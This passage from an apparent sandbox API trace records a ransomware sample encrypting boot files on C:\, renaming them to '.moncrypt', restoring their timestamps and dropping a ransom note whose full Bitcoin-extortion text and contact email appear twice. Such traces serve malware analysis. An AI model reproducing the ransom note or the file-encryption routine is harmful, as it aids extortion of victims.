lpFileTime=0x18fbb8, lpLocalFileTime=0x18fac8 | out: lpLocalFileTime=0x18fac8) returned 1 [0040.620] FileTimeToDosDateTime (in: lpFileTime=0x18fac8, lpFatDate=0x18fb86, lpFatTime=0x18fb84 | out: lpFatDate=0x18fb86, lpFatTime=0x18fb84) returned 1 [0040.620] GlobalLock (hMem=0x440004) returned 0x54d968 [0040.620] GlobalHandle (pMem=0x54d968) returned 0x440004 [0040.620] GlobalUnlock (hMem=0x440004) returned 0 [0040.620] GlobalLock (hMem=0x440004) returned 0x54d968 [0040.620] GlobalLock (hMem=0x44000c) returned 0x51f100 [0040.620] GlobalHandle (pMem=0x54d968) returned 0x440004 [0040.620] GlobalUnlock (hMem=0x440004) returned 0 [0040.620] GlobalHandle (pMem=0x51f100) returned 0x44000c [0040.621] GlobalUnlock (hMem=0x44000c) returned 0 [0040.621] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.621] CharLowerBuffW (in: lpsz="bootmgr", cchLength=0x7 | out: lpsz="bootmgr") returned 0x7 [0040.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18ea64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0040.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\bootmgr", cchWideChar=10, lpMultiByteStr=0x18ea40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\bootmgr", lpUsedDefaultChar=0x0) returned 10 [0040.621] CreateFileW (lpFileName="C:\\я" (normalized: "c:\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0040.624] WriteFile (in: hFile=0x168, lpBuffer=0x1e61bd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18fa70, lpOverlapped=0x0 | out: lpBuffer=0x1e61bd8*, lpNumberOfBytesWritten=0x18fa70*=0x1, lpOverlapped=0x0) returned 1 [0040.624] CloseHandle (hObject=0x168) returned 1 [0040.625] DeleteFileW (lpFileName="C:\\я" (normalized: "c:\\я")) returned 1 [0040.626] FindFirstFileW (in: lpFileName="C:\\bootmgr", lpFindFileData=0x18f804 | out: lpFindFileData=0x18f804*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 0x522d20 [0040.627] FileTimeToLocalFileTime (in: lpFileTime=0x18f818, lpLocalFileTime=0x18f730 | out: lpLocalFileTime=0x18f730) returned 1 [0040.627] FileTimeToDosDateTime (in: lpFileTime=0x18f730, lpFatDate=0x18f7e6, lpFatTime=0x18f7e4 | out: lpFatDate=0x18f7e6, lpFatTime=0x18f7e4) returned 1 [0040.627] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0040.627] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0040.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e740, cchWideChar=2047 | out: lpWideCharStr=".moncrypt睘") returned 9 [0040.628] MoveFileW (lpExistingFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), lpNewFileName="C:\\bootmgr.moncrypt" (normalized: "c:\\bootmgr.moncrypt")) returned 1 [0040.629] CreateFileW (lpFileName="C:\\bootmgr.moncrypt" (normalized: "c:\\bootmgr.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f710*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f710*=0) returned 0xffffffff [0040.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f710*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f710*=0) returned 0xffffffff [0040.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=-1, lpDistanceToMoveHigh=0x18f710*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f710*=-1) returned 0xffffffff [0040.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18f734, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8, lpNumberOfBytesRead=0x18f734*=0x0, lpOverlapped=0x0) returned 0 [0040.629] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.630] GlobalLock (hMem=0x440004) returned 0x554178 [0040.630] GlobalHandle (pMem=0x554178) returned 0x440004 [0040.630] GlobalUnlock (hMem=0x440004) returned 0 [0040.630] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0040.630] GlobalLock (hMem=0x440004) returned 0x556188 [0040.630] GlobalHandle (pMem=0x556188) returned 0x440004 [0040.630] GlobalUnlock (hMem=0x440004) returned 0 [0040.630] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0040.631] GlobalLock (hMem=0x440004) returned 0x55a198 [0040.631] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.631] GlobalUnlock (hMem=0x44000c) returned 0 [0040.631] GlobalHandle (pMem=0x55a198) returned 0x440004 [0040.631] GlobalUnlock (hMem=0x440004) returned 0 [0040.631] GlobalLock (hMem=0x440004) returned 0x51f100 [0040.631] GlobalHandle (pMem=0x51f100) returned 0x440004 [0040.631] GlobalUnlock (hMem=0x440004) returned 0 [0040.631] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0040.631] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.631] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.631] GlobalUnlock (hMem=0x440004) returned 0 [0040.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18f734, lpOverlapped=0x0 | out: lpBuffer=0x1e39128, lpNumberOfBytesRead=0x18f734*=0x0, lpOverlapped=0x0) returned 0 [0040.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f728*=-1) returned 0xffffffff [0040.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x1dbe1a8, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0) returned 0 [0040.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=-1, lpDistanceToMoveHigh=0x18f728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f728*=-1) returned 0xffffffff [0040.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x1e39128, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0) returned 0 [0040.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x18f7ac, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0) returned 0 [0040.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x1e61bc8, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0) returned 0 [0040.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x1dbe1c8, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0) returned 0 [0040.648] CreateFileW (lpFileName="C:\\bootmgr.moncrypt" (normalized: "c:\\bootmgr.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.648] SetFileTime (hFile=0xffffffff, lpCreationTime=0x18f7d4, lpLastAccessTime=0x18f7cc, lpLastWriteTime=0x18f7c4) returned 0 [0040.648] CloseHandle (hObject=0xffffffff) returned 0 [0040.648] SetFileAttributesW (lpFileName="C:\\bootmgr.moncrypt", dwFileAttributes=0x27) returned 0 [0040.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18ea68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0040.648] GlobalLock (hMem=0x440004) returned 0x51f100 [0040.648] GlobalHandle (pMem=0x51f100) returned 0x440004 [0040.648] GlobalUnlock (hMem=0x440004) returned 0 [0040.648] GlobalLock (hMem=0x440004) returned 0x51f100 [0040.648] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.648] GlobalHandle (pMem=0x51f100) returned 0x440004 [0040.648] GlobalUnlock (hMem=0x440004) returned 0 [0040.648] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.648] GlobalUnlock (hMem=0x44000c) returned 0 [0040.648] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0040.648] FindFirstFileW (in: lpFileName="C:\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18f81c | out: lpFindFileData=0x18f81c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x54e168, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69538, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x550178, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0040.649] GetLastError () returned 0x2 [0040.649] CreateFileW (lpFileName="C:\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0040.649] WriteFile (in: hFile=0x168, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18fa24, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18fa24*=0x649, lpOverlapped=0x0) returned 1 [0040.650] CloseHandle (hObject=0x168) returned 1 [0040.650] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0040.651] FileTimeToLocalFileTime (in: lpFileTime=0x18fbb8, lpLocalFileTime=0x18fac4 | out: lpLocalFileTime=0x18fac4) returned 1 [0040.651] FileTimeToDosDateTime (in: lpFileTime=0x18fac4, lpFatDate=0x18fb86, lpFatTime=0x18fb84 | out: lpFatDate=0x18fb86, lpFatTime=0x18fb84) returned 1 [0040.651] GlobalLock (hMem=0x44000c) returned 0x51f100 [0040.651] GlobalHandle (pMem=0x51f100) returned 0x44000c [0040.651] GlobalUnlock (hMem=0x44000c) returned 0 [0040.651] GlobalLock (hMem=0x44000c) returned 0x51f100 [0040.651] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.651] GlobalHandle (pMem=0x51f100) returned 0x44000c [0040.651] GlobalUnlock (hMem=0x44000c) returned 0 [0040.651] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.651] GlobalUnlock (hMem=0x440004) returned 0 [0040.651] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.651] CharLowerBuffW (in: lpsz="BOOTSECT.BAK", cchLength=0xc | out: lpsz="bootsect.bak") returned 0xc [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18ea64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0040.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\BOOTSECT.BAK", cchWideChar=15, lpMultiByteStr=0x18ea40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\BOOTSECT.BAK", lpUsedDefaultChar=0x0) returned 15 [0040.652] CharLowerBuffW (in: lpsz=".BAK", cchLength=0x4 | out: lpsz=".bak") returned 0x4 [0040.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".bak", cchWideChar=4, lpMultiByteStr=0x18ea64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".bakw", lpUsedDefaultChar=0x0) returned 4 [0040.652] FindFirstFileW (in: lpFileName="C:\\BOOTSECT.BAK", lpFindFileData=0x18f804 | out: lpFindFileData=0x18f804*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 0x522d20 [0040.652] FileTimeToLocalFileTime (in: lpFileTime=0x18f818, lpLocalFileTime=0x18f730 | out: lpLocalFileTime=0x18f730) returned 1 [0040.652] FileTimeToDosDateTime (in: lpFileTime=0x18f730, lpFatDate=0x18f7e6, lpFatTime=0x18f7e4 | out: lpFatDate=0x18f7e6, lpFatTime=0x18f7e4) returned 1 [0040.652] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0040.652] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x20) returned 1 [0040.723] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e740, cchWideChar=2047 | out: lpWideCharStr=".moncrypt睘") returned 9 [0040.723] MoveFileW (lpExistingFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\BOOTSECT.BAK.moncrypt" (normalized: "c:\\bootsect.bak.moncrypt")) returned 1 [0040.723] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.moncrypt" (normalized: "c:\\bootsect.bak.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0040.723] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f710*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f710*=0) returned 0x0 [0040.724] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f710*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f710*=0) returned 0x2000 [0040.724] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f710*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f710*=0) returned 0x0 [0040.724] ReadFile (in: hFile=0x168, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18f734, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18f734*=0x2000, lpOverlapped=0x0) returned 1 [0040.809] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.809] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.809] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.809] GlobalUnlock (hMem=0x44000c) returned 0 [0040.809] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0040.809] GlobalLock (hMem=0x44000c) returned 0x552178 [0040.809] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.809] GlobalUnlock (hMem=0x440004) returned 0 [0040.809] GlobalHandle (pMem=0x552178) returned 0x44000c [0040.809] GlobalUnlock (hMem=0x44000c) returned 0 [0040.810] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.810] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.810] GlobalUnlock (hMem=0x44000c) returned 0 [0040.810] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0040.810] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.810] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.810] GlobalUnlock (hMem=0x44000c) returned 0 [0040.810] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f728*=0) returned 0x0 [0040.810] WriteFile (in: hFile=0x168, lpBuffer=0x1dc6268*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpBuffer=0x1dc6268*, lpNumberOfBytesWritten=0x18f730*=0x2020, lpOverlapped=0x0) returned 1 [0040.810] WriteFile (in: hFile=0x168, lpBuffer=0x18f7ac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpBuffer=0x18f7ac*, lpNumberOfBytesWritten=0x18f730*=0x8, lpOverlapped=0x0) returned 1 [0040.810] WriteFile (in: hFile=0x168, lpBuffer=0x1e61bf8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpBuffer=0x1e61bf8*, lpNumberOfBytesWritten=0x18f730*=0x1, lpOverlapped=0x0) returned 1 [0040.822] WriteFile (in: hFile=0x168, lpBuffer=0x1dc6288*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18f730, lpOverlapped=0x0 | out: lpBuffer=0x1dc6288*, lpNumberOfBytesWritten=0x18f730*=0x9c, lpOverlapped=0x0) returned 1 [0040.823] CloseHandle (hObject=0x168) returned 1 [0040.824] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.moncrypt" (normalized: "c:\\bootsect.bak.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0040.824] SetFileTime (hFile=0x168, lpCreationTime=0x18f7d4, lpLastAccessTime=0x18f7cc, lpLastWriteTime=0x18f7c4) returned 1 [0040.824] CloseHandle (hObject=0x168) returned 1 [0040.824] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.moncrypt", dwFileAttributes=0x27) returned 1 [0040.825] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18ea68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0040.825] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.825] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.825] GlobalUnlock (hMem=0x44000c) returned 0 [0040.825] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.825] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.825] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.825] GlobalUnlock (hMem=0x44000c) returned 0 [0040.825] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.825] GlobalUnlock (hMem=0x440004) returned 0 [0040.825] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0040.825] FindFirstFileW (in: lpFileName="C:\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18f81c | out: lpFindFileData=0x18f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4bac20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3b4bac20, 